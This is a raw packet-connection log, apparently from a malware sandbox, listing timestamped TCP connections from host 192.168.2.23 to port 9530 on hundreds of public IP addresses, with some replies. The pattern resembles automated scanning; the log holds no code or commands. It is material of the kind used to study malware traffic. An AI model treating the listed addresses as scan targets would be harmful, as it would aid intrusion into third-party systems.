May 16, 2024 16:38:50.002995014 CEST	55095	9530	192.168.2.23	172.107.204.247
May 16, 2024 16:38:50.002995014 CEST	55095	9530	192.168.2.23	194.140.61.129
May 16, 2024 16:38:50.003004074 CEST	55095	9530	192.168.2.23	90.75.255.232
May 16, 2024 16:38:50.003004074 CEST	55095	9530	192.168.2.23	46.236.148.70
May 16, 2024 16:38:50.003004074 CEST	55095	9530	192.168.2.23	109.110.83.13
May 16, 2024 16:38:50.003005981 CEST	55095	9530	192.168.2.23	73.105.204.181
May 16, 2024 16:38:50.003005981 CEST	55095	9530	192.168.2.23	155.250.153.70
May 16, 2024 16:38:50.003005981 CEST	55095	9530	192.168.2.23	134.18.161.254
May 16, 2024 16:38:50.003005981 CEST	55095	9530	192.168.2.23	115.157.118.95
May 16, 2024 16:38:50.003009081 CEST	55095	9530	192.168.2.23	194.70.132.221
May 16, 2024 16:38:50.003009081 CEST	55095	9530	192.168.2.23	93.166.209.224
May 16, 2024 16:38:50.003009081 CEST	55095	9530	192.168.2.23	206.141.96.208
May 16, 2024 16:38:50.003010988 CEST	55095	9530	192.168.2.23	158.74.240.247
May 16, 2024 16:38:50.003011942 CEST	55095	9530	192.168.2.23	5.201.7.113
May 16, 2024 16:38:50.003010988 CEST	55095	9530	192.168.2.23	135.15.49.112
May 16, 2024 16:38:50.003011942 CEST	55095	9530	192.168.2.23	162.181.124.93
May 16, 2024 16:38:50.003010988 CEST	55095	9530	192.168.2.23	130.180.151.144
May 16, 2024 16:38:50.003011942 CEST	55095	9530	192.168.2.23	59.252.225.11
May 16, 2024 16:38:50.003010988 CEST	55095	9530	192.168.2.23	77.72.54.33
May 16, 2024 16:38:50.003011942 CEST	55095	9530	192.168.2.23	197.136.4.85
May 16, 2024 16:38:50.003010988 CEST	55095	9530	192.168.2.23	114.191.127.254
May 16, 2024 16:38:50.003011942 CEST	55095	9530	192.168.2.23	17.125.127.78
May 16, 2024 16:38:50.003010988 CEST	55095	9530	192.168.2.23	113.246.134.151
May 16, 2024 16:38:50.003011942 CEST	55095	9530	192.168.2.23	120.146.9.254
May 16, 2024 16:38:50.003010988 CEST	55095	9530	192.168.2.23	35.39.123.44
May 16, 2024 16:38:50.003011942 CEST	55095	9530	192.168.2.23	92.129.41.95
May 16, 2024 16:38:50.003011942 CEST	55095	9530	192.168.2.23	114.68.88.59
May 16, 2024 16:38:50.003036976 CEST	55095	9530	192.168.2.23	130.51.113.196
May 16, 2024 16:38:50.003036976 CEST	55095	9530	192.168.2.23	185.246.65.197
May 16, 2024 16:38:50.003036976 CEST	55095	9530	192.168.2.23	17.155.190.134
May 16, 2024 16:38:50.003036976 CEST	55095	9530	192.168.2.23	152.87.182.131
May 16, 2024 16:38:50.003038883 CEST	55095	9530	192.168.2.23	98.228.160.188
May 16, 2024 16:38:50.003038883 CEST	55095	9530	192.168.2.23	91.240.200.242
May 16, 2024 16:38:50.003038883 CEST	55095	9530	192.168.2.23	60.123.18.76
May 16, 2024 16:38:50.003038883 CEST	55095	9530	192.168.2.23	144.58.183.87
May 16, 2024 16:38:50.003041029 CEST	55095	9530	192.168.2.23	71.39.145.24
May 16, 2024 16:38:50.003041029 CEST	55095	9530	192.168.2.23	18.137.200.129
May 16, 2024 16:38:50.003041029 CEST	55095	9530	192.168.2.23	63.117.199.41
May 16, 2024 16:38:50.003041983 CEST	55095	9530	192.168.2.23	43.104.32.206
May 16, 2024 16:38:50.003041983 CEST	55095	9530	192.168.2.23	44.169.211.253
May 16, 2024 16:38:50.003041983 CEST	55095	9530	192.168.2.23	201.220.7.74
May 16, 2024 16:38:50.003041983 CEST	55095	9530	192.168.2.23	99.246.204.235
May 16, 2024 16:38:50.003041983 CEST	55095	9530	192.168.2.23	54.15.92.175
May 16, 2024 16:38:50.003041983 CEST	55095	9530	192.168.2.23	173.44.4.121
May 16, 2024 16:38:50.003041983 CEST	55095	9530	192.168.2.23	150.45.69.79
May 16, 2024 16:38:50.003043890 CEST	55095	9530	192.168.2.23	151.56.53.250
May 16, 2024 16:38:50.003043890 CEST	55095	9530	192.168.2.23	96.98.91.98
May 16, 2024 16:38:50.003043890 CEST	55095	9530	192.168.2.23	20.158.16.216
May 16, 2024 16:38:50.003043890 CEST	55095	9530	192.168.2.23	102.55.239.14
May 16, 2024 16:38:50.003043890 CEST	55095	9530	192.168.2.23	67.13.57.52
May 16, 2024 16:38:50.003043890 CEST	55095	9530	192.168.2.23	111.239.42.129
May 16, 2024 16:38:50.003047943 CEST	55095	9530	192.168.2.23	183.113.240.47
May 16, 2024 16:38:50.003048897 CEST	55095	9530	192.168.2.23	141.178.41.235
May 16, 2024 16:38:50.003048897 CEST	55095	9530	192.168.2.23	168.55.152.6
May 16, 2024 16:38:50.003048897 CEST	55095	9530	192.168.2.23	156.125.39.152
May 16, 2024 16:38:50.003048897 CEST	55095	9530	192.168.2.23	115.251.81.245
May 16, 2024 16:38:50.003048897 CEST	55095	9530	192.168.2.23	178.140.100.63
May 16, 2024 16:38:50.003048897 CEST	55095	9530	192.168.2.23	164.45.225.161
May 16, 2024 16:38:50.003048897 CEST	55095	9530	192.168.2.23	183.238.64.202
May 16, 2024 16:38:50.003048897 CEST	55095	9530	192.168.2.23	61.160.208.246
May 16, 2024 16:38:50.003048897 CEST	55095	9530	192.168.2.23	75.101.182.24
May 16, 2024 16:38:50.003048897 CEST	55095	9530	192.168.2.23	65.231.67.243
May 16, 2024 16:38:50.003048897 CEST	55095	9530	192.168.2.23	155.116.123.146
May 16, 2024 16:38:50.003048897 CEST	55095	9530	192.168.2.23	54.187.91.53
May 16, 2024 16:38:50.003058910 CEST	55095	9530	192.168.2.23	101.115.253.189
May 16, 2024 16:38:50.003058910 CEST	55095	9530	192.168.2.23	54.50.154.36
May 16, 2024 16:38:50.003058910 CEST	55095	9530	192.168.2.23	19.167.184.106
May 16, 2024 16:38:50.003058910 CEST	55095	9530	192.168.2.23	160.250.215.175
May 16, 2024 16:38:50.003058910 CEST	55095	9530	192.168.2.23	59.235.105.83
May 16, 2024 16:38:50.003078938 CEST	55095	9530	192.168.2.23	66.160.137.136
May 16, 2024 16:38:50.003078938 CEST	55095	9530	192.168.2.23	54.130.246.197
May 16, 2024 16:38:50.003078938 CEST	55095	9530	192.168.2.23	77.206.238.17
May 16, 2024 16:38:50.003078938 CEST	55095	9530	192.168.2.23	115.190.96.241
May 16, 2024 16:38:50.003078938 CEST	55095	9530	192.168.2.23	205.172.77.54
May 16, 2024 16:38:50.003078938 CEST	55095	9530	192.168.2.23	42.242.14.5
May 16, 2024 16:38:50.003078938 CEST	55095	9530	192.168.2.23	186.137.127.33
May 16, 2024 16:38:50.003108978 CEST	55095	9530	192.168.2.23	124.109.221.151
May 16, 2024 16:38:50.003108978 CEST	55095	9530	192.168.2.23	184.123.244.110
May 16, 2024 16:38:50.003108978 CEST	55095	9530	192.168.2.23	186.0.42.218
May 16, 2024 16:38:50.003108978 CEST	55095	9530	192.168.2.23	213.44.166.165
May 16, 2024 16:38:50.003122091 CEST	55095	9530	192.168.2.23	118.30.125.244
May 16, 2024 16:38:50.003122091 CEST	55095	9530	192.168.2.23	202.69.236.103
May 16, 2024 16:38:50.003122091 CEST	55095	9530	192.168.2.23	175.113.7.203
May 16, 2024 16:38:50.003122091 CEST	55095	9530	192.168.2.23	72.251.132.45
May 16, 2024 16:38:50.003122091 CEST	55095	9530	192.168.2.23	31.175.159.152
May 16, 2024 16:38:50.003122091 CEST	55095	9530	192.168.2.23	73.168.40.90
May 16, 2024 16:38:50.003122091 CEST	55095	9530	192.168.2.23	180.207.177.248
May 16, 2024 16:38:50.003125906 CEST	55095	9530	192.168.2.23	45.101.23.32
May 16, 2024 16:38:50.003125906 CEST	55095	9530	192.168.2.23	100.218.6.251
May 16, 2024 16:38:50.003125906 CEST	55095	9530	192.168.2.23	176.224.166.37
May 16, 2024 16:38:50.003125906 CEST	55095	9530	192.168.2.23	163.241.238.25
May 16, 2024 16:38:50.003125906 CEST	55095	9530	192.168.2.23	114.239.218.157
May 16, 2024 16:38:50.003140926 CEST	55095	9530	192.168.2.23	97.227.243.31
May 16, 2024 16:38:50.003140926 CEST	55095	9530	192.168.2.23	155.153.141.83
May 16, 2024 16:38:50.003140926 CEST	55095	9530	192.168.2.23	62.187.200.48
May 16, 2024 16:38:50.003140926 CEST	55095	9530	192.168.2.23	43.193.7.45
May 16, 2024 16:38:50.003140926 CEST	55095	9530	192.168.2.23	180.78.170.13
May 16, 2024 16:38:50.003140926 CEST	55095	9530	192.168.2.23	81.48.36.130
May 16, 2024 16:38:50.003140926 CEST	55095	9530	192.168.2.23	103.73.81.237
May 16, 2024 16:38:50.003151894 CEST	55095	9530	192.168.2.23	35.160.14.36
May 16, 2024 16:38:50.003151894 CEST	55095	9530	192.168.2.23	1.90.151.63
May 16, 2024 16:38:50.003151894 CEST	55095	9530	192.168.2.23	185.254.124.65
May 16, 2024 16:38:50.003151894 CEST	55095	9530	192.168.2.23	42.87.229.126
May 16, 2024 16:38:50.003151894 CEST	55095	9530	192.168.2.23	180.81.90.30
May 16, 2024 16:38:50.003154993 CEST	55095	9530	192.168.2.23	220.200.155.34
May 16, 2024 16:38:50.003154993 CEST	55095	9530	192.168.2.23	112.26.16.196
May 16, 2024 16:38:50.003154993 CEST	55095	9530	192.168.2.23	203.200.143.0
May 16, 2024 16:38:50.003154993 CEST	55095	9530	192.168.2.23	172.38.16.75
May 16, 2024 16:38:50.003154993 CEST	55095	9530	192.168.2.23	99.41.181.205
May 16, 2024 16:38:50.003155947 CEST	55095	9530	192.168.2.23	163.50.234.225
May 16, 2024 16:38:50.003155947 CEST	55095	9530	192.168.2.23	115.190.19.103
May 16, 2024 16:38:50.003174067 CEST	55095	9530	192.168.2.23	107.146.110.254
May 16, 2024 16:38:50.003174067 CEST	55095	9530	192.168.2.23	20.134.206.94
May 16, 2024 16:38:50.003190994 CEST	55095	9530	192.168.2.23	220.66.192.118
May 16, 2024 16:38:50.003190994 CEST	55095	9530	192.168.2.23	120.84.139.183
May 16, 2024 16:38:50.003190994 CEST	55095	9530	192.168.2.23	64.71.193.120
May 16, 2024 16:38:50.003190994 CEST	55095	9530	192.168.2.23	61.135.195.129
May 16, 2024 16:38:50.003190994 CEST	55095	9530	192.168.2.23	189.132.30.208
May 16, 2024 16:38:50.003191948 CEST	55095	9530	192.168.2.23	190.58.21.189
May 16, 2024 16:38:50.003190994 CEST	55095	9530	192.168.2.23	36.77.18.154
May 16, 2024 16:38:50.003191948 CEST	55095	9530	192.168.2.23	171.125.8.206
May 16, 2024 16:38:50.003190994 CEST	55095	9530	192.168.2.23	116.137.47.171
May 16, 2024 16:38:50.003190994 CEST	55095	9530	192.168.2.23	37.210.156.126
May 16, 2024 16:38:50.003200054 CEST	55095	9530	192.168.2.23	45.143.222.11
May 16, 2024 16:38:50.003200054 CEST	55095	9530	192.168.2.23	102.144.25.194
May 16, 2024 16:38:50.003204107 CEST	55095	9530	192.168.2.23	101.43.146.139
May 16, 2024 16:38:50.003204107 CEST	55095	9530	192.168.2.23	107.108.146.24
May 16, 2024 16:38:50.003216982 CEST	55095	9530	192.168.2.23	156.237.120.77
May 16, 2024 16:38:50.003216982 CEST	55095	9530	192.168.2.23	221.237.113.86
May 16, 2024 16:38:50.003216982 CEST	55095	9530	192.168.2.23	120.171.133.85
May 16, 2024 16:38:50.003216982 CEST	55095	9530	192.168.2.23	222.245.131.177
May 16, 2024 16:38:50.003216982 CEST	55095	9530	192.168.2.23	210.97.94.254
May 16, 2024 16:38:50.003222942 CEST	55095	9530	192.168.2.23	182.169.209.229
May 16, 2024 16:38:50.003222942 CEST	55095	9530	192.168.2.23	64.177.156.158
May 16, 2024 16:38:50.003222942 CEST	55095	9530	192.168.2.23	77.205.168.7
May 16, 2024 16:38:50.003235102 CEST	55095	9530	192.168.2.23	208.39.41.137
May 16, 2024 16:38:50.003235102 CEST	55095	9530	192.168.2.23	177.62.63.108
May 16, 2024 16:38:50.003235102 CEST	55095	9530	192.168.2.23	111.168.93.197
May 16, 2024 16:38:50.003235102 CEST	55095	9530	192.168.2.23	77.223.111.141
May 16, 2024 16:38:50.003249884 CEST	55095	9530	192.168.2.23	193.236.99.242
May 16, 2024 16:38:50.003249884 CEST	55095	9530	192.168.2.23	178.248.194.81
May 16, 2024 16:38:50.003252983 CEST	55095	9530	192.168.2.23	69.168.19.220
May 16, 2024 16:38:50.003278971 CEST	55095	9530	192.168.2.23	4.121.199.21
May 16, 2024 16:38:50.003278971 CEST	55095	9530	192.168.2.23	4.53.213.159
May 16, 2024 16:38:50.003278971 CEST	55095	9530	192.168.2.23	71.76.248.20
May 16, 2024 16:38:50.003281116 CEST	55095	9530	192.168.2.23	73.11.80.71
May 16, 2024 16:38:50.003281116 CEST	55095	9530	192.168.2.23	138.68.139.188
May 16, 2024 16:38:50.003281116 CEST	55095	9530	192.168.2.23	139.86.5.243
May 16, 2024 16:38:50.003281116 CEST	55095	9530	192.168.2.23	83.39.233.221
May 16, 2024 16:38:50.003281116 CEST	55095	9530	192.168.2.23	152.142.232.166
May 16, 2024 16:38:50.003282070 CEST	55095	9530	192.168.2.23	4.209.158.147
May 16, 2024 16:38:50.003281116 CEST	55095	9530	192.168.2.23	174.247.170.0
May 16, 2024 16:38:50.003282070 CEST	55095	9530	192.168.2.23	111.68.127.108
May 16, 2024 16:38:50.003283978 CEST	55095	9530	192.168.2.23	67.132.140.197
May 16, 2024 16:38:50.003281116 CEST	55095	9530	192.168.2.23	117.19.104.167
May 16, 2024 16:38:50.003283978 CEST	55095	9530	192.168.2.23	47.246.13.195
May 16, 2024 16:38:50.003282070 CEST	55095	9530	192.168.2.23	204.79.40.85
May 16, 2024 16:38:50.003281116 CEST	55095	9530	192.168.2.23	160.88.226.122
May 16, 2024 16:38:50.003282070 CEST	55095	9530	192.168.2.23	136.153.130.97
May 16, 2024 16:38:50.003282070 CEST	55095	9530	192.168.2.23	190.148.26.92
May 16, 2024 16:38:50.003282070 CEST	55095	9530	192.168.2.23	131.159.104.7
May 16, 2024 16:38:50.003282070 CEST	55095	9530	192.168.2.23	69.101.38.58
May 16, 2024 16:38:50.003282070 CEST	55095	9530	192.168.2.23	86.181.78.10
May 16, 2024 16:38:50.003340960 CEST	50656	9530	192.168.2.23	129.120.127.234
May 16, 2024 16:38:50.003340960 CEST	34602	9530	192.168.2.23	116.83.31.7
May 16, 2024 16:38:50.003340960 CEST	33534	9530	192.168.2.23	208.216.24.199
May 16, 2024 16:38:50.003340960 CEST	51350	9530	192.168.2.23	156.131.229.174
May 16, 2024 16:38:50.003349066 CEST	52680	9530	192.168.2.23	20.120.174.241
May 16, 2024 16:38:50.003374100 CEST	55095	9530	192.168.2.23	206.145.19.213
May 16, 2024 16:38:50.003374100 CEST	55095	9530	192.168.2.23	206.2.125.128
May 16, 2024 16:38:50.003396034 CEST	37710	9530	192.168.2.23	98.4.96.238
May 16, 2024 16:38:50.003401041 CEST	53364	9530	192.168.2.23	115.173.218.28
May 16, 2024 16:38:50.003407001 CEST	37442	9530	192.168.2.23	172.129.168.244
May 16, 2024 16:38:50.003415108 CEST	54076	9530	192.168.2.23	189.167.215.251
May 16, 2024 16:38:50.003417015 CEST	53608	9530	192.168.2.23	104.131.172.115
May 16, 2024 16:38:50.003417015 CEST	52312	9530	192.168.2.23	63.13.66.50
May 16, 2024 16:38:50.003436089 CEST	59242	9530	192.168.2.23	75.205.198.241
May 16, 2024 16:38:50.003452063 CEST	38404	9530	192.168.2.23	70.98.192.175
May 16, 2024 16:38:50.003457069 CEST	43692	9530	192.168.2.23	108.89.164.74
May 16, 2024 16:38:50.003463030 CEST	49886	9530	192.168.2.23	188.158.88.110
May 16, 2024 16:38:50.003494978 CEST	50250	9530	192.168.2.23	67.27.239.117
May 16, 2024 16:38:50.003498077 CEST	53566	9530	192.168.2.23	89.97.236.160
May 16, 2024 16:38:50.003526926 CEST	51008	9530	192.168.2.23	36.47.205.230
May 16, 2024 16:38:50.003526926 CEST	37472	9530	192.168.2.23	189.148.134.203
May 16, 2024 16:38:50.003526926 CEST	54726	9530	192.168.2.23	146.32.22.51
May 16, 2024 16:38:50.003526926 CEST	51000	9530	192.168.2.23	188.173.92.190
May 16, 2024 16:38:50.003546000 CEST	49964	9530	192.168.2.23	137.178.72.48
May 16, 2024 16:38:50.003551960 CEST	41162	9530	192.168.2.23	53.205.153.51
May 16, 2024 16:38:50.003566980 CEST	37936	9530	192.168.2.23	193.85.127.188
May 16, 2024 16:38:50.003570080 CEST	42928	9530	192.168.2.23	169.13.13.47
May 16, 2024 16:38:50.003578901 CEST	59712	9530	192.168.2.23	123.61.117.54
May 16, 2024 16:38:50.003591061 CEST	41386	9530	192.168.2.23	197.93.239.189
May 16, 2024 16:38:50.003601074 CEST	44226	9530	192.168.2.23	51.131.228.75
May 16, 2024 16:38:50.003603935 CEST	41460	9530	192.168.2.23	82.19.76.101
May 16, 2024 16:38:50.003607035 CEST	33754	9530	192.168.2.23	87.176.145.125
May 16, 2024 16:38:50.003621101 CEST	45988	9530	192.168.2.23	188.164.221.214
May 16, 2024 16:38:50.003638983 CEST	51886	9530	192.168.2.23	20.91.217.159
May 16, 2024 16:38:50.003642082 CEST	43766	9530	192.168.2.23	94.61.179.164
May 16, 2024 16:38:50.003643990 CEST	9530	42842	76.224.22.57	192.168.2.23
May 16, 2024 16:38:50.003653049 CEST	34156	9530	192.168.2.23	13.203.32.174
May 16, 2024 16:38:50.003658056 CEST	9530	58884	186.46.95.60	192.168.2.23
May 16, 2024 16:38:50.003664017 CEST	55998	9530	192.168.2.23	221.204.3.118
May 16, 2024 16:38:50.003667116 CEST	43114	9530	192.168.2.23	190.149.49.44
May 16, 2024 16:38:50.003669024 CEST	9530	58892	48.51.165.142	192.168.2.23
May 16, 2024 16:38:50.003679037 CEST	9530	36006	70.146.226.174	192.168.2.23
May 16, 2024 16:38:50.003684044 CEST	56248	9530	192.168.2.23	49.212.210.65
May 16, 2024 16:38:50.003684044 CEST	57552	9530	192.168.2.23	50.69.17.109
May 16, 2024 16:38:50.003686905 CEST	42842	9530	192.168.2.23	76.224.22.57
May 16, 2024 16:38:50.003689051 CEST	9530	51036	71.74.233.156	192.168.2.23
May 16, 2024 16:38:50.003690958 CEST	52054	9530	192.168.2.23	78.104.122.133
May 16, 2024 16:38:50.003694057 CEST	58892	9530	192.168.2.23	48.51.165.142
May 16, 2024 16:38:50.003700972 CEST	9530	48016	218.218.131.147	192.168.2.23
May 16, 2024 16:38:50.003710985 CEST	9530	47140	49.174.237.150	192.168.2.23
May 16, 2024 16:38:50.003715992 CEST	58884	9530	192.168.2.23	186.46.95.60
May 16, 2024 16:38:50.003717899 CEST	51036	9530	192.168.2.23	71.74.233.156
May 16, 2024 16:38:50.003719091 CEST	9530	52240	146.254.171.241	192.168.2.23
May 16, 2024 16:38:50.003726959 CEST	36006	9530	192.168.2.23	70.146.226.174
May 16, 2024 16:38:50.003726959 CEST	48016	9530	192.168.2.23	218.218.131.147
May 16, 2024 16:38:50.003732920 CEST	9530	33708	20.65.237.135	192.168.2.23
May 16, 2024 16:38:50.003755093 CEST	9530	55202	27.163.86.188	192.168.2.23
May 16, 2024 16:38:50.003755093 CEST	47140	9530	192.168.2.23	49.174.237.150
May 16, 2024 16:38:50.003765106 CEST	9530	42526	19.143.213.237	192.168.2.23
May 16, 2024 16:38:50.003774881 CEST	9530	36594	220.30.234.129	192.168.2.23
May 16, 2024 16:38:50.003781080 CEST	55202	9530	192.168.2.23	27.163.86.188
May 16, 2024 16:38:50.003782034 CEST	52240	9530	192.168.2.23	146.254.171.241
May 16, 2024 16:38:50.003782034 CEST	33708	9530	192.168.2.23	20.65.237.135
May 16, 2024 16:38:50.003784895 CEST	9530	35320	17.16.69.65	192.168.2.23
May 16, 2024 16:38:50.003796101 CEST	9530	54400	150.41.186.17	192.168.2.23
May 16, 2024 16:38:50.003803015 CEST	9530	46124	211.244.115.203	192.168.2.23
May 16, 2024 16:38:50.003813028 CEST	9530	43256	38.45.198.201	192.168.2.23
May 16, 2024 16:38:50.003822088 CEST	9530	55060	158.104.140.248	192.168.2.23
May 16, 2024 16:38:50.003830910 CEST	9530	59758	188.121.105.146	192.168.2.23
May 16, 2024 16:38:50.003830910 CEST	35320	9530	192.168.2.23	17.16.69.65
May 16, 2024 16:38:50.003832102 CEST	36594	9530	192.168.2.23	220.30.234.129
May 16, 2024 16:38:50.003833055 CEST	46124	9530	192.168.2.23	211.244.115.203
May 16, 2024 16:38:50.003839970 CEST	9530	37358	91.5.206.191	192.168.2.23
May 16, 2024 16:38:50.003849030 CEST	43256	9530	192.168.2.23	38.45.198.201
May 16, 2024 16:38:50.003858089 CEST	54400	9530	192.168.2.23	150.41.186.17
May 16, 2024 16:38:50.003858089 CEST	9530	58608	120.7.53.192	192.168.2.23
May 16, 2024 16:38:50.003864050 CEST	42526	9530	192.168.2.23	19.143.213.237
May 16, 2024 16:38:50.003866911 CEST	33084	9530	192.168.2.23	132.139.153.173
May 16, 2024 16:38:50.003868103 CEST	55060	9530	192.168.2.23	158.104.140.248
May 16, 2024 16:38:50.003869057 CEST	59758	9530	192.168.2.23	188.121.105.146
May 16, 2024 16:38:50.003869057 CEST	9530	50864	144.169.142.66	192.168.2.23
May 16, 2024 16:38:50.003869057 CEST	56142	9530	192.168.2.23	168.154.218.223
May 16, 2024 16:38:50.003873110 CEST	60964	9530	192.168.2.23	44.27.114.37
May 16, 2024 16:38:50.003880024 CEST	9530	54790	36.131.240.112	192.168.2.23
May 16, 2024 16:38:50.003890038 CEST	43588	9530	192.168.2.23	111.221.110.98
May 16, 2024 16:38:50.003891945 CEST	9530	55768	94.99.152.103	192.168.2.23
May 16, 2024 16:38:50.003895998 CEST	48200	9530	192.168.2.23	25.126.104.194
May 16, 2024 16:38:50.003895998 CEST	33664	9530	192.168.2.23	194.152.174.58
May 16, 2024 16:38:50.003901005 CEST	9530	41872	68.38.59.56	192.168.2.23
May 16, 2024 16:38:50.003912926 CEST	9530	33218	71.85.226.131	192.168.2.23
May 16, 2024 16:38:50.003918886 CEST	37358	9530	192.168.2.23	91.5.206.191
May 16, 2024 16:38:50.003918886 CEST	54790	9530	192.168.2.23	36.131.240.112
May 16, 2024 16:38:50.003918886 CEST	50864	9530	192.168.2.23	144.169.142.66
May 16, 2024 16:38:50.003918886 CEST	42450	9530	192.168.2.23	109.39.36.80
May 16, 2024 16:38:50.003921986 CEST	9530	41954	60.16.90.147	192.168.2.23
May 16, 2024 16:38:50.003921986 CEST	58608	9530	192.168.2.23	120.7.53.192
May 16, 2024 16:38:50.003931046 CEST	9530	48338	111.156.205.146	192.168.2.23
May 16, 2024 16:38:50.003937006 CEST	55768	9530	192.168.2.23	94.99.152.103
May 16, 2024 16:38:50.003938913 CEST	58474	9530	192.168.2.23	12.173.175.87
May 16, 2024 16:38:50.003940105 CEST	9530	36814	78.65.90.145	192.168.2.23
May 16, 2024 16:38:50.003942013 CEST	41872	9530	192.168.2.23	68.38.59.56
May 16, 2024 16:38:50.003946066 CEST	33218	9530	192.168.2.23	71.85.226.131
May 16, 2024 16:38:50.003961086 CEST	5555	38650	213.47.195.110	192.168.2.23
May 16, 2024 16:38:50.003962994 CEST	48338	9530	192.168.2.23	111.156.205.146
May 16, 2024 16:38:50.003969908 CEST	41954	9530	192.168.2.23	60.16.90.147
May 16, 2024 16:38:50.003971100 CEST	36814	9530	192.168.2.23	78.65.90.145
May 16, 2024 16:38:50.004055977 CEST	43380	9530	192.168.2.23	187.51.43.152
May 16, 2024 16:38:50.004057884 CEST	45722	9530	192.168.2.23	189.95.171.105
May 16, 2024 16:38:50.004057884 CEST	42348	9530	192.168.2.23	164.167.225.130
May 16, 2024 16:38:50.004057884 CEST	53912	9530	192.168.2.23	90.208.22.26
May 16, 2024 16:38:50.004060030 CEST	59786	9530	192.168.2.23	86.164.81.165
May 16, 2024 16:38:50.004060030 CEST	36780	9530	192.168.2.23	84.53.19.147
May 16, 2024 16:38:50.004065990 CEST	53134	9530	192.168.2.23	37.255.236.205
May 16, 2024 16:38:50.004070997 CEST	35076	9530	192.168.2.23	107.85.132.164
May 16, 2024 16:38:50.004071951 CEST	46022	9530	192.168.2.23	200.192.114.75
May 16, 2024 16:38:50.004071951 CEST	51458	9530	192.168.2.23	65.82.114.22
May 16, 2024 16:38:50.004082918 CEST	46016	9530	192.168.2.23	96.10.39.244
May 16, 2024 16:38:50.004117966 CEST	46942	9530	192.168.2.23	27.91.196.29
May 16, 2024 16:38:50.004117966 CEST	45312	9530	192.168.2.23	188.74.50.28
May 16, 2024 16:38:50.004118919 CEST	38918	9530	192.168.2.23	35.5.142.23
May 16, 2024 16:38:50.004118919 CEST	41052	9530	192.168.2.23	62.12.76.75
May 16, 2024 16:38:50.004122019 CEST	41740	9530	192.168.2.23	77.249.36.58
May 16, 2024 16:38:50.004125118 CEST	37590	9530	192.168.2.23	12.172.250.221
May 16, 2024 16:38:50.004125118 CEST	42948	9530	192.168.2.23	129.154.204.88
May 16, 2024 16:38:50.004136086 CEST	46768	9530	192.168.2.23	192.50.34.36
May 16, 2024 16:38:50.004137993 CEST	40638	9530	192.168.2.23	203.139.168.178
May 16, 2024 16:38:50.004138947 CEST	38548	9530	192.168.2.23	179.129.11.88
May 16, 2024 16:38:50.004146099 CEST	50814	9530	192.168.2.23	204.198.66.255
May 16, 2024 16:38:50.004146099 CEST	58884	9530	192.168.2.23	186.46.95.60
May 16, 2024 16:38:50.004153967 CEST	58892	9530	192.168.2.23	48.51.165.142
May 16, 2024 16:38:50.004160881 CEST	42842	9530	192.168.2.23	76.224.22.57
May 16, 2024 16:38:50.004160881 CEST	52240	9530	192.168.2.23	146.254.171.241
May 16, 2024 16:38:50.004162073 CEST	36006	9530	192.168.2.23	70.146.226.174
May 16, 2024 16:38:50.004162073 CEST	48016	9530	192.168.2.23	218.218.131.147
May 16, 2024 16:38:50.004174948 CEST	51036	9530	192.168.2.23	71.74.233.156
May 16, 2024 16:38:50.004188061 CEST	55202	9530	192.168.2.23	27.163.86.188
May 16, 2024 16:38:50.004192114 CEST	35320	9530	192.168.2.23	17.16.69.65
May 16, 2024 16:38:50.004199028 CEST	54400	9530	192.168.2.23	150.41.186.17
May 16, 2024 16:38:50.004208088 CEST	48338	9530	192.168.2.23	111.156.205.146
May 16, 2024 16:38:50.004211903 CEST	43256	9530	192.168.2.23	38.45.198.201
May 16, 2024 16:38:50.004213095 CEST	33708	9530	192.168.2.23	20.65.237.135
May 16, 2024 16:38:50.004213095 CEST	42526	9530	192.168.2.23	19.143.213.237
May 16, 2024 16:38:50.004215002 CEST	47140	9530	192.168.2.23	49.174.237.150
May 16, 2024 16:38:50.004271030 CEST	36594	9530	192.168.2.23	220.30.234.129
May 16, 2024 16:38:50.004271030 CEST	55768	9530	192.168.2.23	94.99.152.103
May 16, 2024 16:38:50.004281044 CEST	59758	9530	192.168.2.23	188.121.105.146
May 16, 2024 16:38:50.004285097 CEST	55060	9530	192.168.2.23	158.104.140.248
May 16, 2024 16:38:50.004285097 CEST	37358	9530	192.168.2.23	91.5.206.191
May 16, 2024 16:38:50.004286051 CEST	58608	9530	192.168.2.23	120.7.53.192
May 16, 2024 16:38:50.004286051 CEST	54790	9530	192.168.2.23	36.131.240.112
May 16, 2024 16:38:50.004286051 CEST	46124	9530	192.168.2.23	211.244.115.203
May 16, 2024 16:38:50.004288912 CEST	33218	9530	192.168.2.23	71.85.226.131
May 16, 2024 16:38:50.004288912 CEST	41872	9530	192.168.2.23	68.38.59.56
May 16, 2024 16:38:50.004293919 CEST	50864	9530	192.168.2.23	144.169.142.66
May 16, 2024 16:38:50.004293919 CEST	41954	9530	192.168.2.23	60.16.90.147
May 16, 2024 16:38:50.004298925 CEST	36814	9530	192.168.2.23	78.65.90.145
May 16, 2024 16:38:50.007914066 CEST	9530	57522	42.222.106.168	192.168.2.23
May 16, 2024 16:38:50.007929087 CEST	9530	38420	105.168.21.86	192.168.2.23
May 16, 2024 16:38:50.007939100 CEST	9530	55095	125.165.108.231	192.168.2.23
May 16, 2024 16:38:50.007947922 CEST	9530	55095	86.224.49.198	192.168.2.23
May 16, 2024 16:38:50.007956028 CEST	9530	55095	136.248.165.141	192.168.2.23
May 16, 2024 16:38:50.007966042 CEST	9530	55095	104.176.87.89	192.168.2.23
May 16, 2024 16:38:50.007973909 CEST	9530	55095	8.227.106.158	192.168.2.23
May 16, 2024 16:38:50.007976055 CEST	55095	9530	192.168.2.23	125.165.108.231
May 16, 2024 16:38:50.007982969 CEST	55095	9530	192.168.2.23	86.224.49.198
May 16, 2024 16:38:50.007982969 CEST	9530	55095	152.10.133.200	192.168.2.23
May 16, 2024 16:38:50.007987976 CEST	55095	9530	192.168.2.23	136.248.165.141
May 16, 2024 16:38:50.007992983 CEST	9530	55095	130.131.55.60	192.168.2.23
May 16, 2024 16:38:50.008002996 CEST	9530	55095	81.31.65.164	192.168.2.23
May 16, 2024 16:38:50.008013010 CEST	9530	55095	120.74.255.178	192.168.2.23
May 16, 2024 16:38:50.008022070 CEST	9530	55095	170.85.41.91	192.168.2.23
May 16, 2024 16:38:50.008029938 CEST	9530	55095	51.244.7.174	192.168.2.23
May 16, 2024 16:38:50.008038998 CEST	9530	55095	134.134.137.225	192.168.2.23
May 16, 2024 16:38:50.008049011 CEST	9530	55095	202.244.68.82	192.168.2.23
May 16, 2024 16:38:50.008057117 CEST	9530	55095	174.213.253.232	192.168.2.23
May 16, 2024 16:38:50.008065939 CEST	9530	55095	117.62.70.65	192.168.2.23
May 16, 2024 16:38:50.008069992 CEST	9530	55095	52.98.74.230	192.168.2.23
